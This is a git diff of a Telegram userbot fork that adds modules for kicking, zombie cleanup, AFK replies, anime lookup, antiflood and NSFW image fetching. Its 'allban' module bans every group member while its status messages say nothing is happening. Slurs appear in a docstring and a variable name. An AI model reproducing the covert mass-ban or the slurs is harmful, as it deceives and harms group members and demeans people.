the replied/tagged person from the group.""" # Admin or creator check chat = await usr.get_chat() admin = chat.admin_rights @@ -610,10 +546,12 @@ async def kick(usr): if reason: await usr.edit( - f"`Kicked` [{user.first_name}](tg://user?id={user.id})`!`\nReason: {reason}" + f"I Have Kicked [{user.first_name}](tg://user?id={user.id}) from {usr.chat.title} For Reason : {reason}" ) else: - await usr.edit(f"`Kicked` [{user.first_name}](tg://user?id={user.id})`!`") + await usr.edit( + f"Kicked [{user.first_name}](tg://user?id={user.id}) from {usr.chat.title}" + ) if BOTLOG: await usr.client.send_message( @@ -628,7 +566,7 @@ async def kick(usr): @borg.on(admin_cmd(pattern=r"users ?(.*)")) @errors_handler async def get_users(show): - """ For .users command, list all of the users in a chat. """ + """For .users command, list all of the users in a chat.""" info = await show.client.get_entity(show.chat_id) title = info.title if info.title else "this chat" mentions = "Users in {}: \n".format(title) @@ -670,13 +608,65 @@ async def get_users(show): remove("userslist.txt") +@borg.on(admin_cmd(pattern="zombies(?: |$)(.*)")) +async def rm_deletedacc(show): + con = show.pattern_match.group(1).lower() + del_u = 0 + del_status = "`No deleted accounts found, Group is clean`" + if con != "clean": + await show.edit("`Searching for ghost/deleted/zombie accounts...`") + async for user in show.client.iter_participants(show.chat_id): + + if user.deleted: + del_u += 1 + await sleep(1) + if del_u > 0: + del_status = f"Found **{del_u}** ghost/deleted/zombie account(s) in this group,\ + \nclean them by using `.zombies clean`" + + await show.edit(del_status) + return + chat = await show.get_chat() + admin = chat.admin_rights + creator = chat.creator + if not admin and not creator: + await show.edit("`I am not an admin here!`") + return + await show.edit("`Deleting deleted accounts...\nOh I can do that?!?!`") + del_u = 0 + del_a = 0 + async for user in show.client.iter_participants(show.chat_id): + if user.deleted: + try: + await show.client( + EditBannedRequest(show.chat_id, user.id, BANNED_RIGHTS) + ) + except ChatAdminRequiredError: + await show.edit("`I don't have ban rights in this group`") + return + except UserAdminInvalidError: + del_u -= 1 + del_a += 1 + await show.client(EditBannedRequest(show.chat_id, user.id, UNBAN_RIGHTS)) + del_u += 1 + if del_u > 0: + del_status = f"Cleaned **{del_u}** deleted account(s)" + if del_a > 0: + del_status = f"Cleaned **{del_u}** deleted account(s) \ + \n**{del_a}** deleted admin accounts are not removed" + + await show.edit(del_status) + await sleep(2) + await show.delete() + + async def get_user_from_event(event): - """ Get the user from argument or replied message. """ + """Get the user from argument or replied message.""" args = event.pattern_match.group(1).split(" ", 1) extra = None if event.reply_to_msg_id: previous_message = await event.get_reply_message() - user_obj = await event.client.get_entity(previous_message.from_id) + user_obj = await event.client.get_entity(previous_message.sender_id) extra = event.pattern_match.group(1) elif args: user = args[0] @@ -706,7 +696,7 @@ async def get_user_from_event(event): return user_obj, extra -async def get_user_from_id(user, event): +async def get_user_sender_id(user, event): if isinstance(user, str): user = int(user) diff --git a/virtualuserbot/modules/adultzone.py b/virtualuserbot/modules/adultzone.py new file mode 100644 index 00000000..a091fff3 --- /dev/null +++ b/virtualuserbot/modules/adultzone.py @@ -0,0 +1,47 @@ +# credits to userge +# ported to Hellbot by @kraken_the_badass +# will be adding more soon + +import asyncio +import os +import urllib + +import requests + +from virtualuserbot import pro + +from ..utils import admin_cmd, sudo_cmd + +if pro == "True": + + @bot.on(admin_cmd("boobs$")) + @bot.on(sudo_cmd(pattern="boobs$", allow_sudo=True)) + async def boobs(event): + if not os.path.isdir(Var.TEMP_DOWNLOAD_DIRECTORY): + os.makedirs(Var.TEMP_DOWNLOAD_DIRECTORY) + pic_loc = os.path.join(Var.TEMP_DOWNLOAD_DIRECTORY, "bobs.jpg") + a = await event.reply("Finding some big boobs for u 🧐") + await asyncio.sleep(0.5) + await a.edit("Sending some big boobs🤪") + nsfw = requests.get("http://api.oboobs.ru/noise/1").json()[0]["preview"] + urllib.request.urlretrieve("http://media.oboobs.ru/{}".format(nsfw), pic_loc) + await event.client.send_file(event.chat_id, pic_loc, force_document=False) + os.remove(pic_loc) + await event.delete() + await a.delete() + + @bot.on(admin_cmd("butts$")) + @bot.on(sudo_cmd(pattern="butts$", allow_sudo=True)) + async def butts(event): + if not os.path.isdir(Var.TEMP_DOWNLOAD_DIRECTORY): + os.makedirs(Var.TEMP_DOWNLOAD_DIRECTORY) + pic_loc = os.path.join(Var.TEMP_DOWNLOAD_DIRECTORY, "butts.jpg") + a = await event.reply("Finding some beautiful butts for u🧐") + await asyncio.sleep(0.5) + await a.edit("Sending some beautiful butts🤪") + nsfw = requests.get("http://api.obutts.ru/noise/1").json()[0]["preview"] + urllib.request.urlretrieve("http://media.obutts.ru/{}".format(nsfw), pic_loc) + await event.client.send_file(event.chat_id, pic_loc, force_document=False) + os.remove(pic_loc) + await event.delete() + await a.delete() diff --git a/fridaybot/modules/advance_help.py b/virtualuserbot/modules/advance_help.py similarity index 88% rename from fridaybot/modules/advance_help.py rename to virtualuserbot/modules/advance_help.py index f90a85a5..5cb660d8 100644 --- a/fridaybot/modules/advance_help.py +++ b/virtualuserbot/modules/advance_help.py @@ -1,5 +1,5 @@ -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd, sudo_cmd @friday.on(sudo_cmd(pattern="ahelp ?(.*)", allow_sudo=True)) diff --git a/virtualuserbot/modules/afk.py b/virtualuserbot/modules/afk.py new file mode 100644 index 00000000..4e5af783 --- /dev/null +++ b/virtualuserbot/modules/afk.py @@ -0,0 +1,332 @@ +"""AFK Plugin for @FridayOT +Syntax: .afk REASON""" +import asyncio +import datetime +from datetime import datetime + +from telethon import events +from telethon.tl import functions, types + +from virtualuserbot import CMD_HELP, lang + +global USER_AFK # pylint:disable=E0602 +global afk_time # pylint:disable=E0602 +global last_afk_message # pylint:disable=E0602 +global afk_start +global afk_end +USER_AFK = {} +afk_time = None +last_afk_message = {} +afk_start = {} + +if lang == "si": + + @friday.on( + events.NewMessage(pattern=r"\.afk ?(.*)", outgoing=True) + ) # pylint:disable=E0602 + async def _(event): + if event.fwd_from: + return + global USER_AFK # pylint:disable=E0602 + global afk_time # pylint:disable=E0602 + global last_afk_message # pylint:disable=E0602 + global afk_start + global afk_end + global reason + USER_AFK = {} + afk_time = None + last_afk_message = {} + afk_end = {} + start_1 = datetime.now() + afk_start = start_1.replace(microsecond=0) + reason = event.pattern_match.group(1) + if not USER_AFK: # pylint:disable=E0602 + last_seen_status = await borg( # pylint:disable=E0602 + functions.account.GetPrivacyRequest( + types.InputPrivacyKeyStatusTimestamp() + ) + ) + if isinstance(last_seen_status.rules, types.PrivacyValueAllowAll): + afk_time = datetime.datetime.now() # pylint:disable=E0602 + USER_AFK = f"yes: {reason}" # pylint:disable=E0602 + if reason: + await borg.send_message( + event.chat_id, + f"**මම දැන් Offline යනවා 👀.** \n__Offline යන්න හේතුව__ `{reason}`", + ) + else: + await borg.send_message( + event.chat_id, f"**මම දැන් Busy ඒක නිසා Offline යනවා**." + ) + await asyncio.sleep(5) + await event.delete() + try: + await borg.send_message( # pylint:disable=E0602 + Config.PRIVATE_GROUP_ID, # pylint:disable=E0602 + f"#AfkLogger Afk Is Active And Reason is {reason}", + ) + except Exception as e: # pylint:disable=C0103,W0703 + logger.warn(str(e)) # pylint:disable=E0602 + + @friday.on(events.NewMessage(outgoing=True)) # pylint:disable=E0602 + async def set_not_afk(event): + global USER_AFK # pylint:disable=E0602 + global afk_time # pylint:disable=E0602 + global last_afk_message # pylint:disable=E0602 + global afk_start + global afk_end + back_alive = datetime.now() + afk_end = back_alive.replace(microsecond=0) + if afk_start != {}: + total_afk_time = str((afk_end - afk_start)) + current_message = event.message.message + if ".afk" not in current_message and "yes" in USER_AFK: # pylint:disable=E0602 + shite = await borg.send_message( + event.chat_id, + "__Pro is Back Alive__\n**තව දුරටත් Offline නෙමෙයි.**\n `මම Offline හිටිය කාලය :``" + + total_afk_time + + "`", + ) + try: + await borg.send_message( # pylint:disable=E0602 + Config.PRIVATE_GROUP_ID, # pylint:disable=E0602 + "#AfkLogger User is Back Alive ! No Longer Afk ", + ) + except Exception as e: # pylint:disable=C0103,W0703 + await borg.send_message( # pylint:disable=E0602 + event.chat_id, + "Please set `PRIVATE_GROUP_ID` " + + "for the proper functioning of afk functionality " + + "Please Seek Support in @InfinityJE\n\n `{}`".format(str(e)), + reply_to=event.message.id, + silent=True, + ) + await asyncio.sleep(5) + await shite.delete() + USER_AFK = {} # pylint:disable=E0602 + afk_time = None # pylint:disable=E0602 + + @friday.on( + events.NewMessage( # pylint:disable=E0602 + incoming=True, func=lambda e: bool(e.mentioned or e.is_private) + ) + ) + async def on_afk(event): + if event.fwd_from: + return + global USER_AFK # pylint:disable=E0602 + global afk_time # pylint:disable=E0602 + global last_afk_message # pylint:disable=E0602 + global afk_start + global afk_end + back_alivee = datetime.now() + afk_end = back_alivee.replace(microsecond=0) + if afk_start != {}: + total_afk_time = str((afk_end - afk_start)) + afk_since = "**a while ago**" + current_message_text = event.message.message.lower() + if "afk" in current_message_text: + # virtualuserbot's should not reply to other virtualuserbot's + # https://core.telegram.org/bots/faq#why-doesn-39t-my-bot-see-messages-from-other-bots + return False + if USER_AFK and not (await event.get_sender()).bot: # pylint:disable=E0602 + if afk_time: # pylint:disable=E0602 + now = datetime.datetime.now() + datime_since_afk = now - afk_time # pylint:disable=E0602 + time = float(datime_since_afk.seconds) + days = time // (24 * 3600) + time = time % (24 * 3600) + hours = time // 3600 + time %= 3600 + minutes = time // 60 + time %= 60 + seconds = time + if days == 1: + afk_since = "**Yesterday**" + elif days > 1: + if days > 6: + date = now + datetime.timedelta( + days=-days, hours=-hours, minutes=-minutes + ) + afk_since = date.strftime("%A, %Y %B %m, %H:%I") + else: + wday = now + datetime.timedelta(days=-days) + wday.strftime("%A") + elif hours > 1: + f"`{int(hours)}h{int(minutes)}m` **ago**" + elif minutes > 0: + f"`{int(minutes)}m{int(seconds)}s` **ago**" + else: + f"`{int(seconds)}s` **ago**" + msg = None + message_to_reply = ( + f"**මම දැන් පොඩ්ඩක් Busy.. ඒක නිසා ටිකකට ඔන්ලයින් නෑ** \n**ඕෆ්ලයින් ගිය කාලය** : `{total_afk_time}`\n**හේතුව** : `{reason}`" + + f"\n\nමම ඉක්මනටම ආපහු එන්නම්!" + if reason + else f"**මම දැන් ඕෆ්ලයින්**\n ඕෆ්ලයින් ගිය කාලය : `{total_afk_time}` \n මම ඉක්මනටම ආපහු එන්නම්" + ) + msg = await event.reply(message_to_reply) + await asyncio.sleep(5) + if event.chat_id in last_afk_message: # pylint:disable=E0602 + await last_afk_message[event.chat_id].delete() # pylint:disable=E0602 + last_afk_message[event.chat_id] = msg # pylint:disable=E0602 + + +else: + + @friday.on( + events.NewMessage(pattern=r"\.afk ?(.*)", outgoing=True) + ) # pylint:disable=E0602 + async def _(event): + if event.fwd_from: + return + global USER_AFK # pylint:disable=E0602 + global afk_time # pylint:disable=E0602 + global last_afk_message # pylint:disable=E0602 + global afk_start + global afk_end + global reason + USER_AFK = {} + afk_time = None + last_afk_message = {} + afk_end = {} + start_1 = datetime.now() + afk_start = start_1.replace(microsecond=0) + reason = event.pattern_match.group(1) + if not USER_AFK: # pylint:disable=E0602 + last_seen_status = await borg( # pylint:disable=E0602 + functions.account.GetPrivacyRequest( + types.InputPrivacyKeyStatusTimestamp() + ) + ) + if isinstance(last_seen_status.rules, types.PrivacyValueAllowAll): + afk_time = datetime.datetime.now() # pylint:disable=E0602 + USER_AFK = f"yes: {reason}" # pylint:disable=E0602 + if reason: + await borg.send_message( + event.chat_id, + f"**My Master Seems To Be Too Busy 👀.** \n__He Going Afk Because Of__ `{reason}`", + ) + else: + await borg.send_message( + event.chat_id, f"**I Am Busy And I Am Going Afk**." + ) + await asyncio.sleep(5) + await event.delete() + try: + await borg.send_message( # pylint:disable=E0602 + Config.PRIVATE_GROUP_ID, # pylint:disable=E0602 + f"#AfkLogger Afk Is Active And Reason is {reason}", + ) + except Exception as e: # pylint:disable=C0103,W0703 + logger.warn(str(e)) # pylint:disable=E0602 + + @friday.on(events.NewMessage(outgoing=True)) # pylint:disable=E0602 + async def set_not_afk(event): + global USER_AFK # pylint:disable=E0602 + global afk_time # pylint:disable=E0602 + global last_afk_message # pylint:disable=E0602 + global afk_start + global afk_end + back_alive = datetime.now() + afk_end = back_alive.replace(microsecond=0) + if afk_start != {}: + total_afk_time = str((afk_end - afk_start)) + current_message = event.message.message + if ".afk" not in current_message and "yes" in USER_AFK: # pylint:disable=E0602 + shite = await borg.send_message( + event.chat_id, + "__Pro is Back Alive__\n**No Longer afk.**\n `I Was afk for:``" + + total_afk_time + + "`", + ) + try: + await borg.send_message( # pylint:disable=E0602 + Config.PRIVATE_GROUP_ID, # pylint:disable=E0602 + "#AfkLogger User is Back Alive ! No Longer Afk ", + ) + except Exception as e: # pylint:disable=C0103,W0703 + await borg.send_message( # pylint:disable=E0602 + event.chat_id, + "Please set `PRIVATE_GROUP_ID` " + + "for the proper functioning of afk functionality " + + "Please Seek Support in @InfinityJE\n\n `{}`".format(str(e)), + reply_to=event.message.id, + silent=True, + ) + await asyncio.sleep(5) + await shite.delete() + USER_AFK = {} # pylint:disable=E0602 + afk_time = None # pylint:disable=E0602 + + @friday.on( + events.NewMessage( # pylint:disable=E0602 + incoming=True, func=lambda e: bool(e.mentioned or e.is_private) + ) + ) + async def on_afk(event): + if event.fwd_from: + return + global USER_AFK # pylint:disable=E0602 + global afk_time # pylint:disable=E0602 + global last_afk_message # pylint:disable=E0602 + global afk_start + global afk_end + back_alivee = datetime.now() + afk_end = back_alivee.replace(microsecond=0) + if afk_start != {}: + total_afk_time = str((afk_end - afk_start)) + afk_since = "**a while ago**" + current_message_text = event.message.message.lower() + if "afk" in current_message_text: + # virtualuserbot's should not reply to other virtualuserbot's + # https://core.telegram.org/bots/faq#why-doesn-39t-my-bot-see-messages-from-other-bots + return False + if USER_AFK and not (await event.get_sender()).bot: # pylint:disable=E0602 + if afk_time: # pylint:disable=E0602 + now = datetime.datetime.now() + datime_since_afk = now - afk_time # pylint:disable=E0602 + time = float(datime_since_afk.seconds) + days = time // (24 * 3600) + time = time % (24 * 3600) + hours = time // 3600 + time %= 3600 + minutes = time // 60 + time %= 60 + seconds = time + if days == 1: + afk_since = "**Yesterday**" + elif days > 1: + if days > 6: + date = now + datetime.timedelta( + days=-days, hours=-hours, minutes=-minutes + ) + afk_since = date.strftime("%A, %Y %B %m, %H:%I") + else: + wday = now + datetime.timedelta(days=-days) + wday.strftime("%A") + elif hours > 1: + f"`{int(hours)}h{int(minutes)}m` **ago**" + elif minutes > 0: + f"`{int(minutes)}m{int(seconds)}s` **ago**" + else: + f"`{int(seconds)}s` **ago**" + msg = None + message_to_reply = ( + f"I Am **Offline** Right Now. \n**Last Seen :** `{total_afk_time}`\n**Reason** : `{reason}`" + if reason + else f"I Am **Offline** Right Now. \n**Last Seen :** `{total_afk_time}`" + ) + msg = await event.reply(message_to_reply) + await asyncio.sleep(5) + if event.chat_id in last_afk_message: # pylint:disable=E0602 + await last_afk_message[event.chat_id].delete() # pylint:disable=E0602 + last_afk_message[event.chat_id] = msg # pylint:disable=E0602 + + +CMD_HELP.update( + { + "afk": ".afk \ +\nUsage: Gets You Afk" + } +) diff --git a/virtualuserbot/modules/alive.py b/virtualuserbot/modules/alive.py new file mode 100644 index 00000000..7ad1d78c --- /dev/null +++ b/virtualuserbot/modules/alive.py @@ -0,0 +1,76 @@ +"""Check if virtualuserbot alive. If you change these, you become the gayest gay such that even the gay world will disown you.""" +# CREDITS: @WhySooSerious, @Sur_vivor +import time + +from uniborg.util import friday_on_cmd, sudo_cmd + +from virtualuserbot import ALIVE_NAME, CMD_HELP, Lastupdate +from virtualuserbot.Configs import Config +from virtualuserbot.modules import currentversion + + +# Functions +def get_readable_time(seconds: int) -> str: + count = 0 + ping_time = "" + time_list = [] + time_suffix_list = ["s", "m", "h", "days"] + + while count < 4: + count += 1 + if count < 3: + remainder, result = divmod(seconds, 60) + else: + remainder, result = divmod(seconds, 24) + if seconds == 0 and remainder == 0: + break + time_list.append(int(result)) + seconds = int(remainder) + + for x in range(len(time_list)): + time_list[x] = str(time_list[x]) + time_suffix_list[x] + if len(time_list) == 4: + ping_time += time_list.pop() + ", " + + time_list.reverse() + ping_time += ":".join(time_list) + + return ping_time + + +uptime = get_readable_time((time.time() - Lastupdate)) +DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "VirtualUserbot" +PM_IMG = Config.ALIVE_IMAGE +pm_caption = f" **\n \n🔥 {DEFAULTUSER} VIRTUALUSERBOT IS AT YOUR SERVICE 🔥** \n\n" +pm_caption += "➣ **SYS** `នƴន ʀᴜɴɴɪɢ⋆ 🏃`\n" +pm_caption += "➣ **Telethon** `₁.₁₅.₀ ` \n" +pm_caption += "➣ **Python** `₃.₇.₄ ` \n" +pm_caption += f"➣ **Uptime** `{uptime}` \n" +pm_caption += "➣ **Realised By** @Infinity_Bots\n" +pm_caption += "➣ **Branch** `master`\n" +pm_caption += f"➣ **Version** `{currentversion}`\n" +pm_caption += f"➣ **My Boss** {DEFAULTUSER} \n" +pm_caption += "➣ **RDP** `Azureˢˢˡ`\n" +pm_caption += "➣ **License** [GNU GPLv3.0](github.com/inukaasith/virtualuserbot/blob/master/LICENSE)\n" +pm_caption += "➣ **Copyright** [@virtualuserbot](https://github.com/inukaasith/virtualuserbot)\n" +pm_caption += "➣ **Check ** `.stat`.\n" +pm_caption += "➣ **Contact Dev** [Dev](https://t.me/InukaASiTH)\n" +pm_caption += "➣ **Contact Mod** [Mod](https://t.me/Zzlll_lllzZ)\n" + + +@friday.on(friday_on_cmd(pattern=r"alive")) +@friday.on(sudo_cmd(pattern=r"alive", allow_sudo=True)) +async def friday(alive): + await alive.get_chat() + """ For .alive command, check if the bot is running. """ + await borg.send_file(alive.chat_id, PM_IMG, caption=pm_caption) + await alive.delete() + + +CMD_HELP.update( + { + "alive": "**ALive**\ +\n\n**Syntax : **`.alive`\ +\n**Usage :** Check if UserBot is Alive" + } +) diff --git a/virtualuserbot/modules/allban.py b/virtualuserbot/modules/allban.py new file mode 100644 index 00000000..799d6dbf --- /dev/null +++ b/virtualuserbot/modules/allban.py @@ -0,0 +1,40 @@ +# originally created by @danish_00 + +# team cobra +from asyncio import sleep + +from telethon.tl.functions.channels import EditBannedRequest +from telethon.tl.types import ChatBannedRights + +from virtualuserbot import bot + +from ..utils import admin_cmd + + +@bot.on(admin_cmd(pattern=r"allban", outgoing=True)) +async def testing(event): + nikal = await event.get_chat() + chutiya = await event.client.get_me() + admin = nikal.admin_rights + creator = nikal.creator + if not admin and not creator: + await event.edit(" U Don't have sufficient permission 🧐 u noob 😑😑") + return + await event.edit("Doing Nothing 🙃🙂") # Kang with Credits + # for Dark_Cobra + everyone = await event.client.get_participants(event.chat_id) + for user in everyone: + if user.id == chutiya.id: + pass + try: + await event.client( + EditBannedRequest( + event.chat_id, + int(user.id), + ChatBannedRights(until_date=None, view_messages=True), + ) + ) + except Exception as e: + await event.edit(str(e)) + await sleep(0.5) + await event.edit("Nothing Happend here🙃🙂") diff --git a/fridaybot/modules/android.py b/virtualuserbot/modules/android.py similarity index 97% rename from fridaybot/modules/android.py rename to virtualuserbot/modules/android.py index b31c8709..8915b935 100644 --- a/fridaybot/modules/android.py +++ b/virtualuserbot/modules/android.py @@ -23,7 +23,7 @@ @friday.on(friday_on_cmd(outgoing=True, pattern="magisk$")) @friday.on(sudo_cmd(pattern="magisk$", allow_sudo=True)) async def magisk(request): - """ magisk latest releases """ + """magisk latest releases""" magisk_dict = { "Stable": "https://raw.githubusercontent.com/topjohnwu/magisk_files/master/stable.json", "Beta": "https://raw.githubusercontent.com/topjohnwu/magisk_files/master/beta.json", @@ -44,7 +44,7 @@ async def magisk(request): @friday.on(friday_on_cmd(outgoing=True, pattern=r"device(?: |$)(\S*)")) @friday.on(sudo_cmd(pattern="device(?: |$)(\S*)", allow_sudo=True)) async def device_info(request): - """ get android device basic info from its codename """ + """get android device basic info from its codename""" textx = await request.get_reply_message() codename = request.pattern_match.group(1) if codename: @@ -79,7 +79,7 @@ async def device_info(request): ) @friday.on(sudo_cmd(pattern="codename(?: |)([\S]*)(?: |)([\s\S]*)", allow_sudo=True)) async def codename_info(request): - """ search for android codename """ + """search for android codename""" textx = await request.get_reply_message() brand = request.pattern_match.group(1).lower() device = request.pattern_match.group(2).lower() @@ -124,7 +124,7 @@ async def codename_info(request): @friday.on(friday_on_cmd(outgoing=True, pattern=r"specs(?: |)([\S]*)(?: |)([\s\S]*)")) @friday.on(sudo_cmd(pattern="specs(?: |)([\S]*)(?: |)([\s\S]*)", allow_sudo=True)) async def devices_specifications(request): - """ Mobile devices specifications """ + """Mobile devices specifications""" textx = await request.get_reply_message() brand = request.pattern_match.group(1).lower() device = request.pattern_match.group(2).lower() @@ -187,7 +187,7 @@ async def devices_specifications(request): @friday.on(friday_on_cmd(outgoing=True, pattern=r"twrp(?: |$)(\S*)")) @friday.on(sudo_cmd(pattern="twrp(?: |$)(\S*)", allow_sudo=True)) async def twrp(request): - """ get android device twrp """ + """get android device twrp""" textx = await request.get_reply_message() device = request.pattern_match.group(1) if device: diff --git a/fridaybot/modules/anilist.py b/virtualuserbot/modules/anilist.py similarity index 100% rename from fridaybot/modules/anilist.py rename to virtualuserbot/modules/anilist.py diff --git a/fridaybot/modules/animation1.py b/virtualuserbot/modules/animation1.py similarity index 99% rename from fridaybot/modules/animation1.py rename to virtualuserbot/modules/animation1.py index 1cf7fcb6..a72b553d 100644 --- a/fridaybot/modules/animation1.py +++ b/virtualuserbot/modules/animation1.py @@ -1,8 +1,9 @@ import asyncio from collections import deque +from virtualuserbot import ALIVE_NAME, CMD_HELP + from ..utils import admin_cmd, edit_or_reply, sudo_cmd -from fridaybot import ALIVE_NAME, CMD_HELP DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "cat" diff --git a/fridaybot/modules/animation2.py b/virtualuserbot/modules/animation2.py similarity index 96% rename from fridaybot/modules/animation2.py rename to virtualuserbot/modules/animation2.py index 21914921..40550df3 100644 --- a/fridaybot/modules/animation2.py +++ b/virtualuserbot/modules/animation2.py @@ -1,8 +1,9 @@ import asyncio from collections import deque +from virtualuserbot import ALIVE_NAME, CMD_HELP + from ..utils import admin_cmd, edit_or_reply, sudo_cmd -from fridaybot import ALIVE_NAME, CMD_HELP DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "cat" diff --git a/fridaybot/modules/animation3.py b/virtualuserbot/modules/animation3.py similarity index 98% rename from fridaybot/modules/animation3.py rename to virtualuserbot/modules/animation3.py index c69970a7..0a99d2fe 100644 --- a/fridaybot/modules/animation3.py +++ b/virtualuserbot/modules/animation3.py @@ -1,7 +1,8 @@ import asyncio +from virtualuserbot import ALIVE_NAME, CMD_HELP + from ..utils import admin_cmd, edit_or_reply, sudo_cmd -from fridaybot import ALIVE_NAME, CMD_HELP DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "cat" @@ -59,8 +60,6 @@ async def _(event): await event.delete() - - @bot.on(admin_cmd(pattern=f"human$", outgoing=True)) @bot.on(sudo_cmd(pattern="human$", allow_sudo=True)) async def _(event): diff --git a/fridaybot/modules/animation4.py b/virtualuserbot/modules/animation4.py similarity index 98% rename from fridaybot/modules/animation4.py rename to virtualuserbot/modules/animation4.py index ea23a248..95b490e8 100644 --- a/fridaybot/modules/animation4.py +++ b/virtualuserbot/modules/animation4.py @@ -2,8 +2,9 @@ import asyncio +from virtualuserbot import CMD_HELP + from ..utils import admin_cmd, edit_or_reply, sudo_cmd -from fridaybot import CMD_HELP @bot.on(admin_cmd(pattern=f"loding$", outgoing=True)) diff --git a/virtualuserbot/modules/anime.py b/virtualuserbot/modules/anime.py new file mode 100644 index 00000000..763f708e --- /dev/null +++ b/virtualuserbot/modules/anime.py @@ -0,0 +1,144 @@ +from anime_downloader.sites import get_anime_class +from mal import Anime, AnimeSearch, Manga, MangaSearch + +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd + + +@friday.on(admin_cmd(pattern="anime (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + ommhg = await event.reply("Searching For Anime.....") + lmao = input_str.split(":", 1) + try: + site = lmao[1] + except: + site = "animeonline360" + await event.reply( + "Please Provide Site Name From Next Time. Now Continuing With Default Site." + ) + + lol = lmao[0] + why = site.lower() + + Twist = get_anime_class(why) + try: + search = Twist.search(lol) + except: + await ommhg.edit("Please Try Different Site. Given Site Is Down.") + + title1 = search[0].title + url1 = search[0].url + title2 = search[1].title + url2 = search[1].url + title3 = search[2].title + url3 = search[2].url + title4 = search[3].title + url4 = search[3].url + title5 = search[4].title + url5 = search[4].url + + await event.edit( + f"Anime Search Complete \n\n\nTitle:- {title1} \nURL Link:- {url1}\n\nTitle:- {title2} \nURL Link:- {url2}\n\nTitle:- {title3}\nURL Link:- {url3}\n\nTitle:- {title4} \nURL Link:- {url4}\n\nTitle:- {title5} \nURL Link:- {url5}\n\nLinks Gathered By Friday\nGet Your Own Friday From @FRIDAYCHAT", + parse_mode="HTML", + ) + await ommhg.delete() + + +@friday.on(admin_cmd(pattern="ainfo (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + await event.edit("Please Wait....🚶‍♂️🚶‍♂️🚶‍♂️") + search = AnimeSearch(input_str) + ID = search.results[0].mal_id + anime = Anime(ID) + jp = "" + for x in anime.genres: + jp += x + "; " + link = anime.image_url + if link == None: + link = search.results[0].image_url + By = f"""Anime Information Gathered +tlele:- {search.results[0].title} +Mal ID:- {search.results[0].mal_id} +Url:- {search.results[0].url} +Type:- {search.results[0].type} +Episodes:- {search.results[0].episodes} +Score:- {search.results[0].score} +Synopsis:- {search.results[0].synopsis} +Status:- {anime.status} +Genres:- {jp} +Duration:- {anime.duration} +Popularity:- {anime.popularity} +Rank:- {anime.rank} +favorites:- {anime.favorites} +""" + await borg.send_message( + event.chat_id, + By, + parse_mode="HTML", + file=link, + force_document=False, + silent=True, + ) + await event.delete() + + +@friday.on(admin_cmd(pattern="manga (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + await event.edit("Please Wait....🚶‍♂️🚶‍♂️🚶‍♂️") + search = MangaSearch(input_str) + ID = search.results[0].mal_id + manga = Manga(ID) + jp = "" + for x in manga.genres: + jp += x + "; " + link = manga.image_url + if link == None: + link = search.results[0].image_url + By = f"""manga Information Gathered +tlele:- {search.results[0].title} +Mal ID:- {search.results[0].mal_id} +Url:- {search.results[0].url} +Type:- {search.results[0].type} +volumes:- {search.results[0].volumes} +Score:- {search.results[0].score} +Synopsis:- {search.results[0].synopsis} +Status:- {manga.status} +Genres:- {jp} +Chapters:- {manga.chapters} +Popularity:- {manga.popularity} +Rank:- {manga.rank} +favorites:- {manga.favorites} +""" + await borg.send_message( + event.chat_id, + By, + parse_mode="HTML", + file=link, + force_document=False, + silent=True, + ) + await event.delete() + + +CMD_HELP.update( + { + "animeWorld": "**Anime World**\ +\n\n**Syntax : **`.ainfo `\ +\n**Usage :** Gives anime information.\ +\n\n**Syntax : **`.manga `\ +\n**Usage :** Gives manga information.\ +\n\n**Syntax : **`.anime `\ +\n**Usage :** Automatically Gets Streaming Link Of The Anime.\ +\n**Example :** `.anime one piece:twist.moe`\ +\n**Note** :** Get Site names list from [Here](https://devsexpoanime.netlify.app/)." + } +) diff --git a/virtualuserbot/modules/antiflood.py b/virtualuserbot/modules/antiflood.py new file mode 100644 index 00000000..10a7ae47 --- /dev/null +++ b/virtualuserbot/modules/antiflood.py @@ -0,0 +1,84 @@ +import asyncio + +from telethon.tl.functions.channels import EditBannedRequest +from telethon.tl.types import ChatBannedRights + +from virtualuserbot import CMD_HELP, pro +from virtualuserbot.modules.sql_helper import floodsql as sql + +from ..utils import admin_cmd + +if pro == True: + CHAT_FLOOD = sql.__load_flood_settings() + # warn mode for anti flood + ANTI_FLOOD_WARN_MODE = ChatBannedRights( + until_date=None, view_messages=None, send_messages=True + ) + + @borg.on(admin_cmd(incoming=True)) + async def _(event): + # logger.info(CHAT_FLOOD) + if not CHAT_FLOOD: + return + if not (str(event.chat_id) in CHAT_FLOOD): + return + # TODO: exempt admins from this + should_ban = sql.update_flood(event.chat_id, event.message.sender_id) + if not should_ban: + return + try: + await event.client( + EditBannedRequest( + event.chat_id, event.message.sender_id, ANTI_FLOOD_WARN_MODE + ) + ) + except Exception as e: # pylint:disable=C0103,W0703 + no_admin_privilege_message = await event.client.send_message( + entity=event.chat_id, + message="""**Automatic AntiFlooder** + @admin [User](tg://user?id={}) is flooding this chat. + `{}`""".format( + event.message.sender_id, str(e) + ), + reply_to=event.message.id, + ) + await asyncio.sleep(10) + await no_admin_privilege_message.edit( + "This is useless SPAM dude . stop this enjoy chat man ", + link_preview=False, + ) + else: + await event.client.send_message( + entity=event.chat_id, + message="""**Automatic AntiFlooder** + [User](tg://user?id={}) has been automatically restricted + because he reached the defined flood limit.""".format( + event.message.sender_id + ), + reply_to=event.message.id, + ) + + @borg.on(admin_cmd(pattern="setflood (.*)")) + async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + try: + sql.set_flood(event.chat_id, input_str) + sql.__load_flood_settings() + await event.edit( + "Antiflood updated to {} in the current chat".format(input_str) + ) + except Exception as e: # pylint:disable=C0103,W0703 + await event.edit(str(e)) + + +CMD_HELP.update( + { + "antiflood": ".setflood [number]\ +\nUsage: warns the user if he spams the chat if you are admin mutes him in that group .\ +\n A PRO PLUGIN.. ONLY FOR PRO's\ +\n `.set var pro True` to be pro\ +" + } +) diff --git a/fridaybot/modules/antispam.py b/virtualuserbot/modules/antispam.py similarity index 79% rename from 